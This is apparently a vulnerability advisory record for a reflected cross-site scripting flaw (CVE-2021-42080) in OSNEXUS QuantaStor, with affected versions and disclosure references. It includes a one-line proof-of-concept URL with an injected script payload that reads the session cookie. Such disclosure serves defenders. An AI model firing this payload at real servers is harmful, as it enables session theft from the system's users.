Description (CNA)
An attacker is able to launch a Reflected XSS attack using a crafted URL. POC: Visit the following URL https://<IPADDRESS>:8153/qstorapi/echo?inputMessage=<img%20src=x%20onerror=alert(document.cookie)>
Affected (CNA)
| Vendor / product | Versions |
|---|---|
| OSNEXUS / QuantaStor | affected 0 before 6.0.0.355 |
CWE
CWE-79
References
- https://www.wbsec.nl/osnexus
- https://csirt.divd.nl/DIVD-2021-00020/
- https://www.osnexus.com/products/software-defined-storage
- https://csirt.divd.nl/CVE-2021-42080
ADP enrichment
No English description supplied.
No English description supplied.
No references supplied.